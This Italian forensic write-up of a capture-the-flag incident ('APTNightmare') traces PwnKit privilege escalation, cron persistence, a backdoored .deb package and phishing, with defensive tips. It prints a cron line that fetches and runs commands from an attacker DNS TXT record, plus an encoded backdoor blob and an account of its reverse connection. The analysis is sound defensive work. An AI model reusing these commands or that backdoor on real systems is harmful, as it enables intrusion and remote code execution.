Una compromissione informatica può trasformarsi in un vero e proprio incubo digitale. Un APTNightmare, che riassume alla perfezione quello che un’azienda vive quando diventa bersaglio di un gruppo di cyber criminali determinati: un’escalation di eventi che sconvolge infrastrutture, processi e reputazione.
Per esplorare il cuore di questo incubo digitale, vedremo come un’organizzazione può cadere nel baratro e analizzeremo, passo dopo passo, il percorso che conduce da un sistema perfettamente funzionante a un’infrastruttura compromessa, in cui nulla è più come prima.
In poche parole, scopriremo come risolvere un grave incidente informatico.
Indice degli argomenti
Incident response: come risolvere un attacco informatico passo-passo
Le aziende che hanno subito un attacco informatico sanno bene che, in pochi minuti, i sistemi iniziano a mostrare anomalie, i client segnalano problemi di sicurezza, le mailbox si riempiono di mail sospette.
Quello che era un sistema funzionante d’un tratto si è trasformato in una infrastruttura compromessa e tutte le informazioni, che rappresentano il cuore pulsante dell’azienda, sono bloccate e inaccessibili.
Continuiamo, dunque, ad approfondire le fasi di un APTNightmare per comprendere come un’organizzazione può passare dall’essere perfettamente operativa al ritrovarsi con i server compromessi, le credenziali esposte e addirittura il proprio software legittimo trasformato in un veicolo di malware per i clienti.
Per ogni fase dell’attacco è presente anche un blue box difensivo per offrire al lettore non solo una guida tecnica e forense per comprendere l’analisi di un incidente, ma anche spunti pratici di difesa, utili a rafforzare la postura di sicurezza in ambienti reali. Ogni sezione, quindi, non si limita a mostrare “come è avvenuto l’attacco”, ma propone strategie concrete per prevenirlo o mitigarne gli effetti.
Incident response: tra finzione e realtà
Ovviamente il caso è adattato ai fini narrativi per veicolare i concetti tecnici. In casi reali di compromissione, specialmente se grave, l’Incident Response non si limita a un’analisi forense svolta da remoto. Al contrario, coinvolge un processo molto più articolato che comprende ad esempio:
- Valutazione dell’impatto e priorità: mentre il team forense si occupa di raccogliere e analizzare gli artefatti, la direzione aziendale e il team IT gestisce la Business Continuity, cercando di mantenere operative le funzioni critiche dell’organizzazione.
- Confinamento e contenimento: fase in cui si isolano i sistemi compromessi per impedire all’attacco di propagarsi ulteriormente.
- Remediation: applicazione di patch, modifiche alle configurazioni, cambio password e quant’altro necessario per rimuovere o bloccare l’accesso malevolo.
- Ripristino: una volta ridotta la minaccia, si agisce per ripristinare i servizi e i sistemi in modo sicuro.
- Lezioni apprese e miglioramenti: al termine si analizza l’intero processo, traendo insegnamenti e rinforzando le difese per il futuro.
Questo giusto per sottolineare che, benché in questa CTF ci concentriamo soprattutto sull’aspetto forense, nella realtà i diversi team (IT, legale, comunicazione, direzione, forense ecc.) agiscono in parallelo e con la massima tempestività, perché in un vero scenario di attacco ogni minuto di ritardo può comportare perdite ingenti o danni irreparabili.
Volatility, il tool per l’analisi della memoria
Dopo aver ottenuto una shell sul server come utente (probabilmente utente web standard, con privilegi limitati), l’attaccante quasi certamente avrà cercato di ottenere i privilegi di root sulla macchina. Questo passaggio è chiamato privilege escalation (escalation di privilegi).
Ma quale Vulnerabilità l’attaccante ha utilizzato per ottenere tali permessi?
Per rispondere a questa domanda abbiamo due strade: la prima è continuare ad analizzare il file .pcap, la seconda è analizzare l’immagine della macchina compromessa (Ubuntu_5.3.0-70-generic_profile.zip ) attraverso il tool Volatility.
Volatility è uno strumento utilizzato nella Digital Forensics che permette di analizzare il contenuto della memoria RAM di un computer partendo da un dump, cioè da una copia della memoria effettuata durante un incidente informatico o un’attività investigativa.
Possiamo immaginare la memoria RAM come una fotografia precisa dello stato del sistema in un determinato istante: Volatility consente di esplorare questo “snapshot” per capire quali programmi erano in esecuzione, quali file erano aperti, o se c’erano connessioni sospette verso l’esterno.
NOTA: per effettuare l’analisi della memoria, utilizzeremo Volatility. Anche se la versione 3 è in linea di massima preferibile grazie alle sue funzionalità aggiornate, presenta alcune limitazioni nella gestione dei dump di memoria su sistemi Linux. Utilizzeremo quindi la versione precedente.
Come prima cosa dobbiamo procedere con l’installazione del Tool Volatility.
- Cloniamo, quindi, il repository da GitHub:
git clone https://github.com/volatilityfoundation/volatility
- Spostiamoci nella directory del tool e procediamo con l’installazione
cd volatility
sudo python2.7 setup.py install
- A questo punto avrete un’altra cartella di Volatility dove è presente l’installazione, risaliamo quindi ancora di una cartella e copiamo il file all’interno dei plugins del tool.
cd volatility
sudo cp /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Ubuntu_5.3.0-70-generic_profile.zip plugins/overlays/
- Verifichiamo quindi che tutto funzioni correttamente tramite il comando
python2.7 vol.py –info | grep -i Ubuntu
Lanciamo, infine, il tool sull’immagine della macchina coinvolta nell’Incident.
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash
Blue box: i consigli per una corretta analisi forense
- Acquisisci i dati della RAM prima di spegnere/riavviare (strumenti es. LiME/pmem) e documenta la catena di custodia.
- Se il Sistema Operativo è Linux, prepara un profilo kernel compatibile; conserva plugin e versione del tool assieme all’immagine.
- Mantieni gli artefatti read‑only (mount o copie WORM) e lavora su copie.
Crea subito una timeline degli eventi principali (comandi, processi, connessioni) per guidare i deep‑dive successivi.
La privilege escalation per prendere il controllo della macchina
Analizziamo il comando di volatility che abbiamo appena utilizzato:
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash
- python2.7 vol.py
Avvia Volatility usando Python 2.7. - –profile=LinuxUbuntu_5_3_0-70-generic_profilex64
Specifica il profilo del sistema da cui è stato acquisito il dump della memoria. In questo caso si tratta di un sistema Ubuntu con kernel versione 5.3.0-70 su architettura a 64 bit. Il profilo contiene informazioni sul layout della memoria, essenziali per interpretare correttamente il dump. - -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem
Indica il percorso del file dump della memoria, che qui rappresenta la memoria del server web compromesso. - linux_bash
È il plugin di Volatility che estrae dalla memoria la cronologia dei comandi eseguiti nella shell Bash. Questo plugin scansiona il dump per individuare le informazioni relative allo storico della shell (comandi digitati, eventualmente con timestamp).
Balza immediatamente all’attenzione l’utilizzo dello script Pwnkit.
PwnKit è un exploit che prende di mira una vulnerabilità presente nel comando Linux chiamato pkexec, parte integrante di Polkit.
pkexec normalmente consente agli utenti di eseguire specifici comandi con permessi elevati, in maniera analoga a “sudo”. A causa di una gestione non corretta dei dati in input, pkexec può essere sfruttato per eseguire comandi arbitrari con i permessi dell’utente root.
Questa vulnerabilità è nota come CVE-2021-4034, esattamente la vulnerabilità che l’attaccante ha utilizzato per il priviledge escalation.
Blue box: i consigli per difendersi in questa fase dell’attacco
- Patching immediato di polkit/pkexec su tutte le distro interessate; verifica inventario e versioni.
- Abilita AppArmor/SELinux con profili che impediscano esecuzioni non previste di pkexec.
- Auditd/FIM:
- auditctl -w /usr/bin/pkexec -p x -k pkexec-abuse
- monitoraggio anomalie su sudo/pkexec nei log (spike, orari insoliti, utenti di servizio).
Regole EDR: rileva exploit noti e process injection collegati a pkexec.
Così l’attaccante si assicura la persistenza nel sistema compromesso
Adesso che l’attaccante ha stabilito un foothold sull’infrastruttura deve assicurarsi di mantenere la persistenza all’interno.
Torniamo ad esaminare il nostro pcap. Abbiamo già stabilito che la connessione alla macchina dell’attaccante è avvenuta tramite la porta 5555. Proviamo quindi a filtrare il traffico della porta 5555 ed entriamo nel merito del flusso TCP.
tcp.port==5555
Troviamo infatti tutti i comandi che l’attaccante ha eseguito sulla macchina, una volta stabilita la connessione attraverso la Reverse Shell.
Troviamo difatti l’ulteriore conferma che l’attaccante ha sfruttato la CVE-2021-4034
Ciò che successivamente notiamo è che dopo essere diventato root, l’attaccante modifica qualcosa legato a cron. In particolare, Questa tecnica sfrutta il sistema di cron per eseguire periodicamente un comando malevolo, e al centro di questo processo c’è l’uso del comando dig. Vediamo nel dettaglio come funziona in maniera discorsiva:
* * * * * /bin/bash -c “bash -c $(dig linuxupdate.cd TXT +short @ns.linuxupdate.cd)”
Il file di crontab è stato modificato per includere una riga che esegue ogni minuto un comando. L’elemento cruciale di questo comando è la parte che usa dig:
In pratica, ogni minuto il sistema lancia un processo bash che, grazie all’espansione dei comandi (il meccanismo $( … )), esegue ciò che restituisce la chiamata a dig. Con il comando dig linuxupdate.cd TXT +short @ns.linuxupdate.cd il sistema effettua una query DNS per richiedere un record TXT al server specificato. In questo contesto, l’attaccante controlla il dominio linuxupdate.cd e il relativo server DNS, e può modificare dinamicamente il contenuto del record TXT.
Ciò significa che l’attaccante può “iniettare” comandi da eseguire sul sistema compromesso semplicemente aggiornando il record TXT del suo dominio.
Secondo MITRE ATT&CK, l’uso di attività pianificate (scheduled tasks) per mantenere l’accesso ricade nella categoria Persistence. Più precisamente, *l’abuso di cron job è catalogato come tecnica T1053.003 – Scheduled Task/Job: Cron.
Questo è l’ID specifico per l’uso di cron come meccanismo di persistenza. (La sintassi generale è T1053 per Scheduled Task/Job, e .003 indica l’abuso di cron).
Blue box: come difendersi in questa fase dell’attacco
- Egress control DNS: consenti solo i resolver aziendali, blocca query dirette verso NS esterni non autorizzati.
- Network segmentation: i server applicativi non devono poter fare lookup DNS verso Internet se non necessario.
- Threat hunting: cerca pattern
$(dig ...TXT ...)o domini “update” sospetti nei cronta(comandi, processi, connessioni) per guidare i deep‑dive successivi.
L’attacco alla supply chain
Continuando ad analizzare il flusso delle operazioni dell’attaccante, notiamo che entra nella folder /sites-available:
cd sites-available
e legge il file:
cat 000-default.conf
al cui interno compaiono i vari Virtual Host:
<VirtualHost *:80>
Fra questi VirtualHosts ne esiste uno chiamato download.cs-corp.cd
Che punta ad una directory interna /var/www/html/download.
Il sottodominio download.cs-corp.cd probabilmente ospitava software o aggiornamenti da scaricare per i clienti. L’attaccante, avendo il controllo del server, ha alterato questi file (sostituendoli con versioni malevole).
Questo tipo di attacco è noto come supply-chain compromise – compromissione della catena di fornitura software – perché l’attaccante infetta non direttamente le vittime finali, ma il software legittimo che esse scaricano dall’azienda, trasformandolo in veicolo d’infezione.
Nella matrice MITRE ATT&CK, la Compromissione della catena di distribuzione software è codificata come tecnica T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain.
L’attaccante ottiene la persistenza all’interno della supply chain
Quindi sappiamo che l’attaccante ha sostituito del software lecito con uno malevolo.
Proviamo ad analizzare adesso quale manipolazione è stata fatta per injectare il meccanismo di persistenza, probabilmente uno script o comando eseguito nel momento dell’installazione: una backdoor.
Per prima cosa dobbiamo filtrare le richieste in WireShark al fine di scaricare il pacchetto: cs-linux.deb
Filtriamo il traffico isolando quello che coinvolge il pacchetto da analizzare:
http.request.uri contains “cs-linux.deb”
Clicchiamo su:
File > Export Objects > HTTP
Nel menù di ricercar su “Text Filter”, filtriamo per il nome del file, e poi clicchiamo su “Save” per scaricarlo.
Cerchiamo prima di tutto di capire che cosa è questo file, utilizzando il comando file.
file cs-linux.deb
I pacchetti .deb sono dei file di archivio compressi che contengono tutto il necessario per installare un’applicazione o un software su sistemi Linux basati su Debian (come Debian stesso, Ubuntu, Linux Mint, ecc.). In pratica, ogni pacchetto .deb include i file binari precompilati, le librerie, i file di configurazione e gli script di installazione necessari, insieme a metadati (informazioni sulla versione, dipendenze, ecc.).
Questi pacchetti vengono gestiti da strumenti come dpkg e apt, che facilitano l’installazione, l’aggiornamento e la rimozione dei software, mantenendo anche il controllo sulle dipendenze tra le diverse applicazioni.
Visualizziamo adesso il contenuto di questo pacchetto:
dpkg –c cs-linux.deb
Estraiamone il contenuto, mediante il comando:
dpkg-deb –x cs-linux.deb ./cs-linux.deb-estratto
Visualizziamo il contenuto del file tramite cat:
cat cs-linux.deb-estratto/usr/bin/cs-linux
Decodifichiamo il codice in base64 ridirigendo l’output, su di un file che chiameremo cs-decoded:
echo “eJw9UN9LwzAQfl7+irCHNcEsrqMbOmxBxAcRGTjfRKRNT1uaJiWXaqfo325Dh/dwx3f33Xc/6razzlO0qgEvvnRdiCJH2CYCveuVF75uQVgkxKLEI3po2RxUZanCpa5NP9DFgmYZ/T2XY2Pl1JyTN+voQGtDXW7egcUrviMz746jn2E6zZJTYGtxwof9zf3r4enx9vqBB55U1hhQnrEovlzLeHshY7mJRDIaD4zCQd6QGQwKOh+kw6oSNUDHNpzodLpA9qbLVcOi7C4SKB2oDzYKPK9eSJmesObks6o1UA2GlfxKj3Ll2X91OaU5gQEUC0+SJSjbdg4Q2fQvWWyTkCwhMMV3hNEOfzj5Axx7baM=” | base64 -d > cs-decoded
Che risulta essere con file compresso zlib.
A questo punto leggiamone il contenuto utilizziamo Python per leggere i dati dal file “s-decoded”: decomprimendoli usando il modulo zlib e successivamente scrivendo l’output nel file “output_file”.
python3 -c “import sys, zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))” < cs-decoded > output_file
cat output_file
Abbiamo la backdoor Vediamo quindi come funziona.
Inizialmente, esegue il comando:
os.system(“echo cs-linux && >> ~/.bashrc”)
in modo da aggiungere la stringa “cs-linux” al file di configurazione .bashrc. Così, ogni volta che viene aperta una nuova sessione bash, il comando viene eseguito automaticamente, garantendo la persistenza della backdoor.
Connessione al server dell’attaccante: la backdoor tenta di stabilire una connessione TCP con l’IP 192.168.1.5 sulla porta 4444. Se la connessione fallisce, aspetta 5 secondi e riprova, fino a un massimo di 10 tentativi. In questo modo, il sistema resta in attesa e continua a cercare un canale per comunicare col server remoto.
Ricezione e preparazione del payload: una volta stabilita la connessione, il programma riceve inizialmente 4 byte che, grazie a struct.unpack, indicano la lunghezza del payload da ricevere. Successivamente, scarica l’intero payload, assicurandosi di ricevere tutti i byte.
Esecuzione del codice remoto:
Il payload ricevuto è codificato in Base64 e compresso con zlib. Il comando:
exec(zlib.decompress(base64.b64decode(d)), {‘s’: s})
decodifica e decomprime il payload, ed infine lo esegue. Questo permette all’attaccante di inviare codice arbitrario al sistema compromesso, espandendo o modificando le funzionalità della backdoor.
L’attacco al Mail Server
Dopo essersi assicurato la permanenza sulla macchina e con la supply chain compromessa, l’attaccante adesso può puntare a riscuote il bottino.
Utilizziamo ancora una volta il tool volatility, stessa sintassi vista in precedenza ma richiamando un plugin diverso linux_pslist:
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_pslist
Uno dei primi interrogativi quando si analizza un dump in memoria è: “Quali programmi erano in esecuzione su questa macchina al momento della cattura?”.
Il plugin linux_pslist serve esattamente a rispondere a questa domanda.
È come se avessimo fotografato il “Task Manager” nel preciso istante dell’incidente.
linux_pslist scorre le strutture interne del kernel (le famose task_struct) e ricostruisce la lista completa dei processi che erano vivi in quel momento.
Il risultato è molto simile a ciò che vedresti con il comando ps se potessi ancora digitare sulla macchina, solo che ora lo ottieni a posteriori, da un’immagine di memoria.
Uno dei processi “vivi” in memoria era difatti citserver
citserver è il demone principale di Citadel, una suite open-source che integra server di posta (SMTP, IMAP, POP3) e funzioni groupware (agenda, contatti, chat, ecc.). Difatti l’attaccante, dopo aver preso il controllo del server, ha trovato citserver già in esecuzione: significa che quella macchina fungeva anche da mail-server aziendale.
L’attaccante sferra l’attacco di phishing
Quindi l’attaccante potrebbe aver sfruttato questa macchina per inviare una mail di phishing nel tentativo di ingannare la/le vittime. Addentriamoci quindi nel processo di citserver.
Sappiamo dall’analisi precedente che i PID del processo sono 542 e 545, quindi ancora una volta il tool volatility ci viene in aiuto, tramite il plugin linux_lsoft.
Il Plugin serve ad ottenere l’elenco completo di tutto ciò che ogni processo ha “in mano” in quel momento: file su disco, socket di rete, pipe, device, librerie e via dicendo.
Quindi utilizziamolo per analizzare i due processi nel dettaglio:
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof –p 542
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof –p 545
Il processo di citserver con il PID 545 stava utilizzando vari file e processi, fra cui un file di log : /var/lib/citadel/data/log.0000000001
Analizziamo quindi il file di log del server una volta estratto, per estrarlo utilizziamo un altro plugin linux_find_file. Il plugin percorre le strutture del file-system in RAM (inode, dentry, page cache) e, se il file è ancora presente in cache, ne recupera i contenuti anche se sul disco fosse stato cancellato o sovrascritto.
Individuiamo prima la locazione di memoria dove il file è presente:
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file -F /var/lib/citadel/data/log.0000000001
successivamente estrapoliamo il file utilizzando il seguente comando:
python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file –i 0xffff9fa43f20d628 -O log.0000000001
il plugin rimane invariato, cambiano le opzioni:
- il parametro -i: Indica l’inode address (il puntatore in memoria alla struttura inode) del file che vogliamo estrarre. Questo valore lo abbiamo ottenuto in precedenza, eseguendo linux_find_file -F /var/lib/citadel/data/log.0000000001, che ci ha mostrato dove risiede quell’inode in RAM.
- il parametro -O: indica il file di output dove vogliamo scrivere il contenuto.
Analizzando il contenuto del file appena salvato, tramite comando cat, possiamo leggedere diversi messeggi. Fra questi ne esiste uno diretto al CEO dove gli viene chiesto di revisionare il documento delle policy in allegato.
Il Soggetto della mail è: Review Revised Privacy Policy con in allegato un documento contente delle macro policy.docm: la nostra mail di phishing.
Blue box: come difendersi in questa fase dell’attacco
- Blocca le macro da Internet (Mark‑of‑the‑Web) o consenti solo macro firmate da publisher affidabili.
- Sandboxing allegati (esecuzione automatica e regole DLP per documenti Office con macro.
- Banner “Esterno” + Spoof detection: evidenzia mittenti extra‑dominio e domini look‑alike.
- Regole di transport: metti in quarantena .docm/VBA per destinatari ad alto rischio.
Individuiamo le vittime del phishing
Continuiamo la nostra analisi e verifichiamo chi ha ricevuto la mail con l’allegato malevolo, utilizzando il seguente comando:
strings –a log.0000000001 | grep -Eo ‘[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}’ | sort –fu
dove:
- strings -a log.0000000001 : Estrae tutte le stringhe stampabili dal file (opzione -a = “scan tutto il file”).
- grep -Eo ‘…regex…’ -E usa le espressioni regolari estese; -o fa stampare solo la parte di testo che corrisponde alla regex.
- La regex cattura qualunque sequenza “utente@dominio.est” abbastanza generica.
- sort -fu: Ordina (sort) l’elenco e con -f ignora il caso (A = a), con -u elimina i duplicati.
Pare che la mail sia stata inviata al ceo-us
La desinenza “us” ci fa pensare che possano esistere più indirizzi del “ceo”, a seconda delle country. Quindi eseguiamo un semplice grep sul “ceo”, all’interno dei file di log. La nostra ipotesi si rivela corretta, esiste un altro indirizzo del ceo, con la desinenza “ru”.
Blue box: i consigli per difendersi dal phishing
- Mailbox hardening per VIP: Safe Attachments/Links in modalità block, isolamento allegati, time‑of‑click protection.
- Regole zero‑trust per impegni finanziari: out‑of‑band verification obbligatoria.
- Threat intel & brand protection: monitor look‑alike domains e tentativi di impersonation.
- Segregazione GAL/alias: minimizza l’esposizione di alias “country‑based” non necessari.
- Hunt periodico: query su e-mail con oggetti simili e pattern di spear‑phish (policy, HR, pagamenti).
